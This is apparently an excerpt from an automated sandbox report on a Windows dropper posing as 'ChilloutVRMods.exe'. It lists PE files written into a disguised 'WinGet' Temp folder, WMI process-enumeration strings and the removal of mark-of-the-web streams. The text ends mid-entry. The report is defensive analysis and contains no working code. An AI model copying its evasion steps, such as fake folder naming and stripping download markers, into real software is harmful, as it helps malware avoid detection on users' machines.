4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 8936 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_socket.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 27880 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_sqlite3.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 24808 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_ssl.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 20712 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_uuid.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 40176 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\DLLs\_zoneinfo.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 9216 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\setuptools\cli-64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 9728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\setuptools\gui-64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 46312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\venv\scripts\nt\python.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 36080 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\venv\scripts\nt\pythonw.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 31232 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\distlib\t32.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 40448 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\distlib\t64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 24576 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\distlib\w32.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zeppskdd.exe" wrote 34304 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\distlib\w64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10752 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_ARC4.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_chacha20.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 35328 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15360 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 19456 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 24064 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 11776 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 52736 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_des.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 52736 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 20480 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 17920 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 11776 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14336 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 14336 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_MD2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_MD4.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15360 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_MD5.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 17920 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_SHA1.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 21504 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_SHA224.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 21504 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_SHA256.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_SHA384.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_SHA512.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12800 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 15360 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_keccak.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 13824 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Hash\_poly1305.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 30720 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Math\_modexp.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Protocol\_scrypt.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 19456 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\PublicKey\_curve25519.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 58880 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\PublicKey\_curve448.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 34304 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 23552 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 9216 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\PublicKey\_ed448.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Util\_cpuid_c.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "python.exe" wrote 10240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Util\_strxor.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...74:T1060,Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00005868-00002713-2117095637") Found string "\\DESKTOP-8LD9T6N\root\cimv2:Win32_Process.Handle="2656"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp") Found string "\DESKTOP-8LD9T6N\root\cimv2:Win32_Process.Handle="2656"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp") Found string "\desktop-8ld9t6n\root\cimv2:win32_process.handle="2656"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="6280"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="2196"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="2752"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="7988"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="2860"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="6176"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="2648"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="9208"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="7532"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="4212"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="7828"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="9180"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="7580"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="4592"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="3656"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="8368"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="2656"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="364"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="7068"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\\desktop-8ld9t6n\root\cimv2:win32_process.handle="7912"" (Indicator: "root\cimv2"; in Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp")75:Te3f,"ChilloutVRMods.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe:Zone.Identifier:$DATA" with delete access "ChilloutVRMods.exe" opened "C:\ChilloutVRMods.exe:Zone.Identifier" with delete access "ChilloutVRMods.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_1mdfxaqi.4os.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_hkk4yvlw.gjq.psm1" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\encodings\__pycache__\__init__.cpython-310.pyc.1682462349616" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\os.cpython-310.pyc.1682467068432" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\collections\__pycache__\__init__.cpython-310.pyc.1682467668976" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\keyword.cpython-310.pyc.1682467329568" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\operator.cpython-310.pyc.1682467329856" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\reprlib.cpython-310.pyc.1682467331296" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\functools.cpython-310.pyc.1682467334176" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\types.cpython-310.pyc.1682467333456" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\__pycache__\__init__.cpython-310.pyc.1682467671056" with delete access "python.exe" opened 